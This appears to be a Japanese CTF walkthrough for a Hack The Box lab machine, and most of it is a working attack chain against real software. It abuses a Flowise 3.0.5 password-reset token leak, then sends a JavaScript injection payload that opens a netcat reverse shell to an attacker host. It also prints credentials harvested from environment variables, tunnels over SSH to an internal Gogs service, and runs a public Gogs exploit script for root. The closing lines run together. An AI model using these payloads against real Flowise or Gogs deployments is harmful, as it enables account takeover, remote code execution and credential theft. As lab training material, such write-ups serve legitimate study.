nmap -sC -sV -p- --min-rate 5000 <IP> -oN nmap.txt
開放ポート: 22 (SSH)、80 (HTTP)
staging.silentium.htb は Flowise 3.0.5 を実行していますforgot-password エンドポイントは、API レスポンス内に tempToken を直接漏えいします。
curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]"}}'
漏えいした tempToken を使用してパスワードをリセットします:
curl -s http://staging.silentium.htb/api/v1/account/reset-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]","tempToken":"<TOKEN>","password":"Hacked123!"}}'
ログインして API キーを取得し、RCE を実行します:
curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <API_KEY>" \
-d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> 443 >/tmp/f\");return 1;})()})"}}'
Docker コンテナ内で root としてシェルを取得しました。
環境変数を確認しました:
env
認証情報が見つかりました:
FLOWISE_USERNAME=benFLOWISE_PASSWORD=F1l3_d0ck3rSSH でホストに接続します:
ssh ben@<IP>
Gogs が内部のポート 3001 で root として実行されています。
SSH トンネルを設定します:
ssh -L 8080:127.0.0.1:3001 ben@<IP>
http://127.0.0.1:8080 経由で Gogs にアカウントを登録し、API トークンを生成しました。
TYehan のエクスプロイト を使用しました:
python3 exploit.py \
--url http://127.0.0.1:8080 \
--username <user> \
--password <pass> \
--token <token> \
--host <LHOST> \
--port 4446
root シェルを取得しました! 🎉
/home/ben/user.txt/root/root.txt/etc/hosts に追加: